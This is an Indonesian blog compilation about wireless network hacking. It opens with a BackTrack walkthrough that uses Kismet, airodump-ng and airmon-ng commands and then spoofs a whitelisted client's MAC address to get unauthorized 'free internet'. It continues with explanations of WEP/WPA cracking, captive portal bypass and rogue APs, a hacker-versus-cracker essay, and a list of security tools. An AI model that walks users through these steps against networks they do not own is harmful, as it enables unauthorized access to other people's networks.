Jalankan Live CD Distro Linux BackTrack2, masukkan username “root”, lalu masukkan password “toor”.
Setelah muncul prompt, ketikkan “startx”.
Setelah muncul desktop environment KDE, klik tombol “K” (di pojok kiri bawah). Pilih BackTrack Radio Network Analysis -> 80211 Analyser Kismet.
Lalu muncul window “Select Network Device”, pilih “wifi0”. Klik “OK”.
Muncul tampilan Kismet, secara otomatis Kismet akan mencari wireless client yang sedang aktif. Bila ditemukan wireless client yang aktif tetapi tidak terhubung dengan jaringan, maka akan muncul pesan “ALERT: Suspicious client 00:02:6F:37:08:20 - probing networks but never participating.”
Bila Kismet berhasil menemukan Access Point yang aktif, maka akan muncul pesan “Found IP 192.168.2.1 for slamet::00:0E:2E:C2:2C:0E via ARP”.
Keterangan:
slamet -> nama SSID
Tutup Kismet, lalu buka console untuk menjalankan tools scanning yang lain, yakni airodump.
Keterangan:
Bila kita menggunakan program scanning yang lain, biasanya program pertama akan membuat driver wireless kita “rusak”. Untuk dapat digunakan pada program yang kedua, kita perlu memperbaiki driver tersebut (dimatikan lalu dihidupkan kembali).
Cara memperbaiki driver, ketik:
#airmon-ng -> untuk mengecek interface yang tersedia.
Matikan driver “ath0” dan “ath1” dengan mengetik:
#airmon-ng stop ath0
#airmon-ng stop ath1 -> bila interface ath1 ada.
Mengaktifkan driver yang baru, ketik:
#airmon-ng start wifi0
Bila diketikkan perintah #iwconfig , maka muncul informasi “ath0” sudah aktif dengan Mode=Monitor.
Berikutnya, ketik #airodump-ng ath0
Dengan demikian maka kesimpulan bahwa dengan airodump mendapatkan hasil scanning MAC Address Client yang lebih cepat dibandingkan dengan menggunakan Kismet. Tetapi Client IP Address tidak bisa didapatkan, kecuali menggunakan Kismet.
Kita juga dapat menggunakan program K-MAC(atau anda bisa merubah MAC Address melalui regedit) yang di-install pada windows untuk merubah MAC-Address Wireless kita menjadi MAC-Address salah satu client yang terdaftar pada MAC Address Filtering.
Yang perlu dilakukan adalah mencari informasi MAC-Address client dengan mengunakan Kismet atau airodump, catat MAC-Address tersebut, lalu jalankan K-MAC di windows dan ubah MAC-Addressnya.
Setelah restart komputer/laptop anda, dan mulai berinternet gratis deh........
By Destana Dwi Maulidani & Wilis (http://my-wifi.blogspot.com/2007/09/hacking-wireless.html)
Jenis – jenis Hacking Wireless
1. Keamanan Wireless dengan metode Wired Equivalent Privacy (WEP)
WEP merupakan standart keamanan & enkripsi pertama yang digunakan pada wireless, WEP (Wired Equivalent Privacy) adalah suatu metoda pengamanan jaringan nirkabel, disebut juga dengan Shared Key Authentication. Shared Key Authentication adalah metoda otentikasi yang membutuhkan penggunaan WEP. Enkripsi WEP menggunakan kunci yang dimasukkan (oleh administrator) ke client maupun access point. Kunci ini harus cocok dari yang diberikan akses point ke client, dengan yang dimasukkan client untuk authentikasi menuju access point, dan WEP mempunyai standar 802.11b.
Proses Shared Key Authentication:
Client meminta asosiasi ke access point, langkah ini sama seperti Open System Authentication.
Access point mengirimkan text challenge ke client secara transparan.
Client akan memberikan respon dengan mengenkripsi text challenge dengan menggunakan kunci WEP dan mengirimkan kembali ke access point.
Access point memberi respon atas tanggapan client, akses point akan melakukan decrypt terhadap respon enkripsi dari client untuk melakukan verifikasi bahwa text challenge dienkripsi dengan menggunakan WEP key yang sesuai. Pada proses ini, access point akan menentukan apakah client sudah memberikan kunci WEP yang sesuai. Apabila kunci WEP yang diberikan oleh client sudah benar, maka access point akan merespon positif dan langsung meng-authentikasi client. Namun bila kunci WEP yang dimasukkan client adalah salah, maka access point akan merespon negatif dan client tidak akan diberi authentikasi. Dengan demikian, client tidak akan terauthentikasi dan tidak terasosiasi.
WEP memiliki berbagai kelemahan antara lain :
Masalah kunci yang lemah, algoritma RC4 yang digunakan dapat dipecahkan.
WEP menggunakan kunci yang bersifat statis
Masalah initialization vector (IV) WEP
Masalah integritas pesan Cyclic Redundancy Check (CRC-32)
WEP terdiri dari dua tingkatan, yakni kunci 64 bit, dan 128 bit. Sebenarnya kunci rahasia pada kunci WEP 64 bit hanya 40 bit, sedang 24bit merupakan Inisialisasi Vektor (IV). Demikian juga pada kunci WEP 128 bit, kunci rahasia terdiri dari 104bit.
Serangan-serangan pada kelemahan WEP antara lain :
Serangan terhadap kelemahan inisialisasi vektor (IV), sering disebut FMS attack. FMS singkatan dari nama ketiga penemu kelemahan IV yakni Fluhrer, Mantin, dan Shamir. Serangan ini dilakukan dengan cara mengumpulkan IV yang lemah sebanyak-banyaknya. Semakin banyak IV lemah yang diperoleh, semakin cepat ditemukan kunci yang digunakan
Mendapatkan IV yang unik melalui packet data yang diperoleh untuk diolah untuk proses cracking kunci WEP dengan lebih cepat. Cara ini disebut chopping attack, pertama kali ditemukan oleh h1kari. Teknik ini hanya membutuhkan IV yang unik sehingga mengurangi kebutuhan IV yang lemah dalam melakukan cracking WEP.
Kedua serangan diatas membutuhkan waktu dan packet yang cukup, untuk mempersingkat waktu, para hacker biasanya melakukan traffic injection. Traffic Injection yang sering dilakukan adalah dengan cara mengumpulkan packet ARP kemudian mengirimkan kembali ke access point. Hal ini mengakibatkan pengumpulan initial vektor lebih mudah dan cepat. Berbeda dengan serangan pertama dan kedua, untuk serangan traffic injection,diperlukan spesifikasi alat dan aplikasi tertentu yang mulai jarang ditemui di toko-toko, mulai dari chipset, versi firmware, dan versi driver serta tidak jarang harus melakukan patching terhadap driver dan aplikasinya.
Merupakan rahasia umum jika WEP (Wired Equivalent Privacy) tidak lagi mampu diandalkan untuk menyediakan koneksi nirkabel (wireless) yang aman dari ulah orang usil atau ingin mengambil keuntungan atas apa yang kita miliki—dikenal dengan jargon hackers. Tidak lama setelah proses pengembangan WEP, kerapuhan dalam aspek kriptografi muncul.
Berbagai macam penelitian mengenai WEP telah dilakukan dan diperoleh kesimpulan bahwa walaupun sebuah jaringan wireless terlindungi oleh WEP, pihak ketiga (hackers) masih dapat membobol masuk. Seorang hacker yang memiliki perlengkapan wireless seadanya dan peralatan software yang digunakan untuk mengumpulkan dan menganalisis cukup data, dapat mengetahui kunci enkripsi yang digunakan.
Menyikapi kelemahan yang dimiliki oleh WEP, telah dikembangkan sebuah teknik pengamanan baru yang disebut sebagai WPA (WiFI Protected Access). Teknik WPA adalah model kompatibel dengan spesifikasi standar draf IEEE 802.11i. Teknik ini mempunyai beberapa tujuan dalam desainnya, yaitu kokoh, interoperasi, mampu digunakan untuk menggantikan WEP, dapat diimplementasikan pada pengguna rumahan atau corporate, dan tersedia untuk publik secepat mungkin. Adanya WPA yang "menggantikan" WPE, apakah benar perasaan "tenang" tersebut didapatkan? Ada banyak tanggapan pro dan kontra mengenai hal tersebut. Ada yang mengatakan, WPA mempunyai mekanisme enkripsi yang lebih kuat. Namun, ada yang pesimistis karena alur komunikasi yang digunakan tidak aman, di mana teknik man- in-the-middle bisa digunakan untuk mengakali proses pengiriman data. Agar tujuan WPA tercapai, setidaknya dua pengembangan sekuriti utama dilakukan. Teknik WPA dibentuk untuk menyediakan pengembangan enkripsi data yang menjadi titik lemah WEP, serta menyediakan user authentication yang tampaknya hilang pada pengembangan konsep WEP.
Teknik WPA didesain menggantikan metode keamanan WEP, yang menggunakan kunci keamanan statik, dengan menggunakan TKIP (Temporal Key Integrity Protocol) yang mampu secara dinamis berubah setelah 10.000 paket data ditransmisikan. Protokol TKIP akan mengambil kunci utama sebagai starting point yang kemudian secara reguler berubah sehingga tidak ada kunci enkripsi yang digunakan dua kali. Background process secara otomatis dilakukan tanpa diketahui oleh pengguna. Dengan melakukan regenerasi kunci enkripsi kurang lebih setiap lima menit, jaringan WiFi yang menggunakan WPA telah memperlambat kerja hackers yang mencoba melakukan cracking kunci terdahulu.
Walaupun menggunakan standar enkripsi 64 dan 128 bit, seperti yang dimiliki teknologi WEP, TKIP membuat WPA menjadi lebih efektif sebagai sebuah mekanisme enkripsi. Namun, masalah penurunan throughput seperti yang dikeluhkan oleh para pengguna jaringan wireless seperti tidak menemui jawaban dari dokumen standar yang dicari. Sebab, masalah yang berhubungan dengan throughput sangatlah bergantung pada hardware yang dimiliki, secara lebih spesifik adalah chipset yang digunakan. Anggapan saat ini, jika penurunan throughput terjadi pada implementasi WEP, maka tingkat penurunan tersebut akan jauh lebih besar jika WPA dan TKIP diimplementasikan walaupun beberapa produk mengklaim bahwa penurunan throughput telah diatasi, tentunya dengan penggunaan chipset yang lebih besar kemampuan dan kapasitasnya.
Proses otentifikasi WPA menggunakan 802.1x dan EAP (Extensible Authentication Protocol). Secara bersamaan, implementasi tersebut akan menyediakan kerangka kerja yang kokoh pada proses otentifikasi pengguna. Kerangka-kerja tersebut akan melakukan utilisasi sebuah server otentifikasi terpusat, seperti RADIUS, untuk melakukan otentifikasi pengguna sebelum bergabung ke jaringan wireless. Juga diberlakukan mutual authentification, sehingga pengguna jaringan wireless tidak secara sengaja bergabung ke jaringan lain yang mungkin akan mencuri identitas jaringannya.
Mekanisme enkripsi AES (Advanced Encryption Standard) tampaknya akan diadopsi WPA dengan mekanisme otentifikasi pengguna. Namun, AES sepertinya belum perlu karena TKIP diprediksikan mampu menyediakan sebuah kerangka enkripsi yang sangat tangguh walaupun belum diketahui untuk berapa lama ketangguhannya dapat bertahan.
Sumber : www.ilkom.unsri.ac.id/deris/akademik/files/2009/jarkom_IF/TA%20jarkom%20Perbandingan%20Metode%20WEP.doc
HACKING WIFI
- - 0 Comments
Wireless Security (Hacking Wifi)
Jaringan Wifi memiliki lebih banyak kelemahan dibanding dengan jaringan kabel. Saat ini
perkembangan teknologi wifi sangat signifikan sejalan dengan kebutuhan sistem informasi yang
mobile. Banyak penyedia jasa wireless seperti hotspot komersil, ISP, Warnet, kampus-kampus
maupun perkantoran sudah mulai memanfaatkan wifi pada jaringan masing masing, tetapi sangat
sedikit yang memperhatikan keamanan komunikasi data pada jaringan wireless tersebut. Hal ini
membuat para hacker menjadi tertarik untuk mengexplore keamampuannya untuk melakukan
berbagai aktifitas yang biasanya ilegal menggunakan wifi.
Pada artikel ini akan dibahas berbagai jenis aktivitas dan metode yang dilakukan para hacker
wireless ataupun para pemula dalam melakukan wardriving. Wardriving adalah kegiatan atau
aktivitas untuk mendapatkan informasi tentang suatu jaringan wifi dan mendapatkan akses terhadap
jaringan wireless tersebut. Umumnya bertujuan untuk mendapatkan koneksi internet, tetapi banyak
juga yang melakukan untuk maksud-maksud tertentu mulai dari rasa keingintahuan, coba coba,
research, tugas praktikum, kejahatan dan lain lain.
Kelemahan Wireless
Kelemahan jaringan wireless secara umum dapat dibagi menjadi 2 jenis, yakni kelemahan pada
konfigurasi dan kelemahan pada jenis enkripsi yang digunakan. Salah satu contoh penyebab
kelemahan pada konfigurasi karena saat ini untuk membangun sebuah jaringan wireless cukup
mudah. Banyak vendor yang menyediakan fasilitas yang memudahkan pengguna atau admin
jaringan sehingga sering ditemukan wireless yang masih menggunakan konfigurasi wireless default
bawaan vendor. Penulis sering menemukan wireless yang dipasang pada jaringan masih
menggunakan setting default bawaan vendor seperti SSID, IP Address , remote manajemen, DHCP
enable, kanal frekuensi, tanpa enkripsi bahkan user/password untuk administrasi wireless tersebut.
WEP (Wired Equivalent Privacy) yang menjadi standart keamanan wireless sebelumnya, saat ini
dapat dengan mudah dipecahkan dengan berbagai tools yang tersedia gratis di internet. WPA-PSK
dan LEAP yang dianggap menjadi solusi menggantikan WEP, saat ini juga sudah dapat dipecahkan
dengan metode dictionary attack secara offline.
Beberapa kegiatan dan aktifitas yang dilakukan untuk mengamanan jaringan wireless antara lain:
1. Menyembunyikan SSID
Banyak administrator menyembunyikan Services Set Id (SSID) jaringan wireless mereka dengan
maksud agar hanya yang mengetahui SSID yang dapat terhubung ke jaringan mereka. Hal ini
tidaklah benar, karena SSID sebenarnya tidak dapat disembuyikan secara sempurna. Pada saat saat
tertentu atau khususnya saat client akan terhubung (assosiate) atau ketika akan memutuskan diri
(deauthentication) dari sebuah jaringan wireless, maka client akan tetap mengirimkan SSID dalam
bentuk plain text (meskipun menggunakan enkripsi), sehingga jika kita bermaksud menyadapnya,
dapat dengan mudah menemukan informasi tersebut. Beberapa tools yang dapat digunakan untuk
mendapatkan ssid yang dihidden antara lain, kismet (kisMAC), ssid_jack (airjack), aircrack ,
void11 dan masih banyak lagi.
2. Keamanan wireless hanya dengan kunci WEP
WEP merupakan standart keamanan & enkripsi pertama yang digunakan pada wireless, WEP
memiliki berbagai kelemahan antara lain :
Masalah kunci yang lemah, algoritma RC4 yang digunakan dapat dipecahkan.
WEP menggunakan kunci yang bersifat statis
Masalah initialization vector (IV) WEP
Masalah integritas pesan Cyclic Redundancy Check (CRC-32)
WEP terdiri dari dua tingkatan, yakni kunci 64 bit, dan 128 bit. Sebenarnya kunci rahasia pada
kunci WEP 64 bit hanya 40 bit, sedang 24bit merupakan Inisialisasi Vektor (IV). Demikian juga
pada kunci WEP 128 bit, kunci rahasia terdiri dari 104bit.
Serangan-serangan pada kelemahan WEP antara lain :
- Serangan terhadap kelemahan inisialisasi vektor (IV), sering disebut FMS attack. FMS
singkatan dari nama ketiga penemu kelemahan IV yakni Fluhrer, Mantin, dan Shamir.
Serangan ini dilakukan dengan cara mengumpulkan IV yang lemah sebanyak-banyaknya.
Semakin banyak IV lemah yang diperoleh, semakin cepat ditemukan kunci yang digunakan
( www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf )
- Mendapatkan IV yang unik melalui packet data yang diperoleh untuk diolah untuk proses
cracking kunci WEP dengan lebih cepat. Cara ini disebut chopping attack, pertama kali
ditemukan oleh h1kari. Teknik ini hanya membutuhkan IV yang unik sehingga mengurangi
kebutuhan IV yang lemah dalam melakukan cracking WEP.
- Kedua serangan diatas membutuhkan waktu dan packet yang cukup, untuk mempersingkat
waktu, para hacker biasanya melakukan traffic injection. Traffic Injection yang sering
dilakukan adalah dengan cara mengumpulkan packet ARP kemudian mengirimkan kembali
ke access point. Hal ini mengakibatkan pengumpulan initial vektor lebih mudah dan cepat.
Berbeda dengan serangan pertama dan kedua, untuk serangan traffic injection,diperlukan
spesifikasi alat dan aplikasi tertentu yang mulai jarang ditemui di toko-toko, mulai dari
chipset, versi firmware, dan versi driver serta tidak jarang harus melakukan patching
terhadap driver dan aplikasinya.
3. Keamanan wireless hanya dengan kunci WPA-PSK atau WPA2-PSK
WPA merupakan teknologi keamanan sementara yang diciptakan untuk menggantikan kunci
WEP. Ada dua jenis yakni WPA personal (WPA-PSK), dan WPA-RADIUS.
Saat ini yang sudah dapat di crack adalah WPA-PSK, yakni dengan metode brute force
attack secara offline. Brute force dengan menggunakan mencoba-coba banyak kata dari suatu
kamus. Serangan ini akan berhasil jika passphrase yang yang digunakan wireless tersebut
memang terapat pada kamus kata yang digunakan si hacker.
Untuk mencegah adanya serangan terhadap keamanan wireless menggunakan WPA-PSK,
gunakanlah passphrase yang cukup panjang (satu kalimat).
Tools yang sangat terkenal digunakan melakukan serangan ini adalah CoWPAtty (
http://www.churchofwifi.org/ ) dan aircrack ( http://www.aircrack-ng.org ) . Tools ini
memerlukan daftar kata atau wordlist, dapat di ambil dari http://wordlist.sourceforge.net/
4. MAC Filtering
Hampir setiap wireless access point maupun router difasilitasi dengan keamanan MAC
Filtering. Hal ini sebenarnya tidak banyak membantu dalam mengamankan komunikasi
wireless, karena MAC address sangat mudah dispoofing atau bahkan dirubah.
Tools ifconfig pada OS Linux/Unix atau beragam tools spt network utilitis, regedit, smac,
machange pada OS windows dengan mudah digunakan untuk spoofing atau mengganti
MAC address.
Penulis masih sering menemukan wifi di perkantoran dan bahkan ISP (yang biasanya
digunakan oleh warnet-warnet) yang hanya menggunakan proteksi MAC Filtering. Dengan
menggunakan aplikasi wardriving seperti kismet/kisMAC atau aircrack tools, dapat
diperoleh informasi MAC address tiap client yang sedang terhubung ke sebuah Access Point.
Setelah mendapatkan informasi tersebut, kita dapat terhubung ke Access point dengan
mengubah MAC sesuai dengan client tadi. Pada jaringan wireless, duplikasi MAC adress
tidak mengakibatkan konflik. Hanya membutuhkan IP yang berbeda dengan client yang tadi.
5. Captive Portal
Infrastruktur Captive Portal awalnya didesign untuk keperluan komunitas yang
memungkinkan semua orang dapat terhubung (open network). Captive portal sebenarnya
merupakan mesin router atau gateway yang memproteksi atau tidak mengizinkan adanya trafik
hingga user melakukan registrasi/otentikasi. Berikut cara kerja captive portal :
user dengan wireless client diizinkan untuk terhubung wireless untuk mendapatkan IP
address (DHCP)
block semua trafik kecuali yang menuju ke captive portal (Registrasi/Otentikasi berbasis
web) yang terletak pada jaringan kabel.
redirect atau belokkan semua trafik web ke captive portal
setelah user melakukan registrasi atau login, izinkan akses ke jaringan (internet)
Beberapa hal yang perlu diperhatikan, bahwa captive portal hanya melakukan tracking koneksi
client berdasarkan IP dan MAC address setelah melakukan otentikasi. Hal ini membuat captive
portal masih dimungkinkan digunakan tanpa otentikasi karena IP dan MAC adress dapat dispoofing.
Serangan dengan melakukan spoofing IP dan MAC. Spoofing MAC adress seperti yang sudah
dijelaskan pada bagian 4 diatas. Sedang untuk spoofing IP, diperlukan usaha yang lebih yakni
dengan memanfaatkan ARP cache poisoning, kita dapat melakukan redirect trafik dari client yang
sudah terhubung sebelumnya.
Serangan lain yang cukup mudah dilakukan adalah menggunakan Rogue AP, yaitu mensetup Access
Point (biasanya menggunakan HostAP) yang menggunakan komponen informasi yang sama seperti
AP target seperti SSID, BSSID hingga kanal frekwensi yang digunakan. Sehingga ketika ada client
yang akan terhubung ke AP buatan kita, dapat kita membelokkan trafik ke AP sebenarnya.
Tidak jarang captive portal yang dibangun pada suatu hotspot memiliki kelemahan pada konfigurasi
atau design jaringannya. Misalnya, otentikasi masih menggunakan plain text (http), managemen
jaringan dapat diakses melalui wireless (berada pada satu network), dan masih banyak lagi.
Kelemahan lain dari captive portal adalah bahwa komunikasi data atau trafik ketika sudah
melakukan otentikasi (terhubung jaringan) akan dikirimkan masih belum terenkripsi, sehingga
dengan mudah dapat disadap oleh para hacker. Untuk itu perlu berhati-hati melakukan koneksi pada
jaringan hotspot, agar mengusahakan menggunakan komunikasi protokol yang aman seperti
https,pop3s, ssh, imaps dst.
by
Josua M Sinambela
email josh at gadjahmada.edu
website http://josh.staff.ugm.ac.id
Jumat, 20 Maret 2009 - - 0 Comments
Oleh : Peter L & Ronny S
PENDAHULUAN
Dalam membangun sebuah sistem jaringan berbasis internet, masalah keamanan menjadi suatu hal yang mutlak diperlukan. Sistem yang dibangun tanpa adanya sistem keamanan yang baik sama halnya dengan mengajak pencuri untuk masuk ke rumah kita dan membiarkan dia mengambil segala sesuatu yang kita miliki.
Seringkali ketika membangun sebuah sistem, kita menemukan berbagai kerawanan dalam sistem kita. Namun hal itu kita anggap sebagai hal kecil karena kita tidak menganggapnya sebagai lubang keamanan (hole). Kita tidak sadar bahwa kerawanan-kerawanan kecil seperti inilah yang dimanfaatkan oleh orang-orang yang tidak bertanggungjawab untuk menjalankan aksi kejahatannya.
HACKER VS CRACKER
Dua istilah ini paling sering disebutkan ketika kita berbicara mengenai keamanan data. Hacker dan cracker dianggap sebagai orang yang bertanggung jawab atas berbagai kasus kejahatan komputer (cybercrime) yang semakin marak dewasa ini. Padahal jika kita mau melihat siapa dan apa yang dilakukan oleh hacker dan cracker, maka anggapan tersebut bisa dikatakan tidak 100 % benar.
Hacker adalah sebutan untuk mereka yang menggunakan keahliannya dalam hal komputer untuk melihat, menemukan dan memperbaiki kelemahan sistem keamanan dalam sebuah sistem komputer ataupun dalam sebuah software. Hasil pekerjaan mereka biasanya dipublikasikan secara luas dengan harapan sistem atau software yang didapati memiliki kelemahan dalam hal keamanan dapat disempurnakan di masa yang akan datang. Sedangkan cracker memanfaatkan kelemahan-kelamahan pada sebuah sistem atau software untuk melakukan tindak kejahatan.
Dalam masyarakat hacker, dikenal hirarki atau tingkatan. Hacker menduduki tempat kedua dalam tingkatan tersebut dan cracker berada pada tingkat ketiga. Selain itu masih ada beberapa tingkatan lain seperti lamer (wanna be). Berbeda dengan hacker dan craker yang mencari dan menemukan sendiri kelemahan sebuah sistem, seorang lamer menggunakan hasil temuan itu untuk melakukan tindak kejahatan. Seorang lamer biasanya hanya memiliki pengetahuan yang sedikit mengenai komputer terutama mengenai sistem keamanan dan pemrograman. Dalam komunitas hacker, lamer merupakan sebutan yang bisa dibilang memalukan.
Seorang hacker memiliki tujuan yaitu untuk menyempurnakan sebuah sistem sedangkan seorang cracker lebih bersifat destruktif. Umumnya cracker melakukan cracking untuk menggunakan sumber daya di sebuah sistem untuk kepentingan sendiri.
MENGUJI KEAMANAN SISTEM
Berbicara mengenai keamanan dalam sebuah sistem komputer, tak akan lepas dari bagaimana seorang cracker dapat melakukan penetrasi ke dalam sistem dan melakukan pengrusakan. Ada banyak cara yang biasanya digunakan untuk melakukan penetrasi antara lain : IP Spoofing (Pemalsuan alamat IP), FTP Attack, Unix Finger Exploit, Flooding, Email Exploitsm Password Attacks, Remote File Sisem Attacks, dll.
Pada umumnya, cara-cara tersebut bertujuan untuk membuat server dalam sebuah sistem menjadi sangat sibuk dan bekerja di atas batas kemampuannya sehingga sistem akan menjadi lemah dan mudah dicrack.
Seorang hacker bisa dipekerjakan untuk mencari celah-celah (hole) dalam sebuah sistem keamanan. Hacker akan menggunakan berbagai teknik yang diketahuinya termasuk teknik-teknik di atas untuk melakukan penetrasi ke dalam sistem. Hacker juga akan mengkombinasikan berbagai cara di atas dan menggunakan berbagai teknik terbaru yang lebih canggih. Dengan demikian diharapkan titik rawan dalam sebuah sistem dapat diketahui untuk kemudian dilakukan perbaikan. Setelah perbaikan dilakukan (dengan melibatkan sang hacker), sistem akan kembali diuji. Demikianlah proses ini dilakukan berulang-ulang sehingga semua celah yang ada dalam sistem kemanan bisa ditutup.
Untuk melakukan proses ini, tentunya dibutuhkan seorang hacker yang benar-benar berpengalaman dan memiliki tingkat pengetahuan yang tinggi. Tidak semua hacker bisa melakukan hal ini dengan baik, apalagi jika kita memakai seorang cracker.
PENUTUP
Seorang hacker kini bisa memainkan peran sebagai konsultan keamanan bagi para vendor ataupun developer software maupun bagi perusahan-perusahaan yang menggunakan sistem komputer sebagai tulang punggung berjalannya kegiatan perusahaan. Dengan perannya ini, hacker diharapakan bisa membuat sebuah sistem ataupun sebuah software tetap survive dan tidak mengalami kehancuran akibat tindak kejahatan komputer yang dilakukan oleh para cracker.
Menjadi hacker adalah sebuah kebaikan tetapi menjadi seorang cracker adalah sebuah kejahatan.
tool hacking
- - 0 Comments
1.Nessus

“Nessus” pertama kali dibuat oleh Renaud Deraison pada tahun 1998 dan disebarkan untuk komunitas internet secara bebas, bermanfaat, ter-update dengan baik serta mudah untuk digunakan.
Nessus adalah sebuah program untuk mencari kelemahan pada sebuah sistem komputer. Menurut situs resminya di www.nessus.org, tool ini telah digunakan oleh lebih dari 75.000 organisasi dan perusahaan di seluruh dunia.
2.Snort

Snort adalah sebuah IDS, yaitu tool untuk mencegah dan mendeteksi serangan terhadap sistem komputer. Vendor dari snort mengklaim bahwa tool ini telah didownload berjuta-juta kali dari situs mereka. Anda mungkin berminat untuk mencobanya, silahkan download tool ini di www.snort.org.
3.Kismet

Kismet adalah sebuah tool untuk mendeteksi koneksi wireless(mendukung lalu lintas 802.11b, 802.11a, dan 802.11g ) , menangkap paket dalam sebuah sistem jaringan dan menjadi sebuah IDS (intrusion detection System).
Untuk mencari tahu lebih lanjut mengenai kismet, anda dapat mengunjungi situs http://www.kismetwireless.net atau masuk ke #kismet irc.freenode.net.
4.Metasploit Framework

Metasploit Framework adalah sebuah proyek open source untuk mengembangkan, menguji dan menggunakan kode eksploit. Dibuat dengan bahasa Perl sebagai fondasi dasar dan dan terdiri dari komponen pelengkap yang telah dicompile dengan bahasa C, assembler dan Python. Metasploit Framework dapat berjalan pada sistem operasi UNIX, Linux dan Windows. Keterangan yang lebih detail dapat anda cari di http://www.metasploit.com.
5.Netcat
Netcat adalah sebuah tool networking utility yang dapat membaca dan menulis data pada koneksi sebuah jaringan melalui protokol TCP/IP.
Fitur yang terdapat pada Netcat antara lain :
-
Koneksi keluar dan masuk melalui protokol UDP ataupun TCP dengan port yang digunakan..
-
Tunneling mode, tunneling dari UDP ke TCP, memetakan parameter dalam jaringan (source port/interface, listening port/interface, dan mengijinkan remote host melakukan koneksi ke tunnel)
-
Port scanner, untuk mendeteksi port yang terbuka.
-
Buffered send-mode dan hexdump RFC854 telnet.
6.Hping

Hping merupakan sebuah tool serba guna. Tool ini dapat digunakan untuk menguji kemampuan firewall, mencari port yang terbuka, menguji keamanan jaringan dengan menggunakan berbagai jenis protokol, mendapatkan informasi sistem operasi, mengevaluasi protokol TCP/IP.
7.TCPDump
Tcpdump juga merupakan sebuah sniffer. Admin jaringan menggunakan tool ini untuk memonitor lalu lintas dan menganalisa permasalahan jika terjadi gangguan. Menurut informasi di http://www-iepm.slac.stanford.edu/monitoring/passive/tcpdump.html , Tcpdump menggunakan paket filter dari UNIX BSD untuk meng-capture data(BPF / BSD Packet Filter).BPF menerima salinan dari driver pengirim dan penerima paket.Pengguna tcpdump juga dapat menyaring paket sesuai dengan keinginan.
8. John The Ripper
Sebuah password cracker dari jaman nenek moyang para hacker yang masih menjadi 10 besar tool favorit. Berikut adalah keterangan dari pembuat John The Ripper.
“John the Ripper is a password cracker, currently available for UNIX, DOS,WinNT/Win95. Its primary purpose is to detect weak UNIX passwords. It has been tested with Linux x86/Alpha/SPARC, FreeBSD x86, OpenBSD x86, Solaris 2.x SPARC and x86, Digital UNIX, AIX, HP-UX, and IRIX”.
9. Cain And Abel
Cain & Abel adalah sebuah tool untuk masalah password. Tool ini dapat mengumpulkan password dengan metode network sniffing, meng-crack password menggunakan Dictionary attack, Brute-Force and Cryptanalysis attacks, merekam pembicaraan VoIP (Voice Over Internet Protocol), meng-crack jaringan wireless, menganalisa trafik dalam jaringan. www.oxid.it
10. WireShark / Ethereal
Wireshark / Ethereal adalah sebuah tool untuk menganalisa protokol jaringan. Fungsinya juga sebagai sebuah sniffer. Memantau lalu lintas internet. Wireshark
dapat berjalan pada Windows, MAC OS X, dan Linux. www.wireshark.org
Tertarik? Pelajari dan pahami saja cara penggunaan 10 tool tsb. Kita memang tdk akan semudah itu menjadi hacker hebat hanya dengan mengandalkan 10 tool diatas. Tapi tool2 tsb sudah diakui oleh semua tingkatan Hacker. Kan bisa menjadi tambahan bagi anda2 yang ingin menggeluti sekuriti komputer secara mendalam.
Diterjemahkan dari: www.insecured.org diambil dari http://www.rozy.web.id/nafasku.com
Related Posts by Categories
- Hacking dengan mIRC
- Sedikit Tentang Celah Windows
- Membobol Password XP/Vista Dalam 4 Menit!
- Membuat Virus Via Notepad
- Meremote Komputer Orang Lain
- Membuat Virus Worm Dengan Sangat Mudah
- Search Engine Serial Number dan Crack Software Full Di Internet
- Hacking Handphone Symbian dan install GPS
- Hacking Rapidshare Lagi Nih…
- Tips Ngerjain Orang Dengan Microsoft Word
- Agar Orang Lain Tidak Dapat Meng-copy atau Cut Data ke FlashDisk dari Harddisk
- Hacking HP esia C2601 Dan c2801
- Ngetik Realtime - Document Object Model
- Friendster Private Photo Viewer








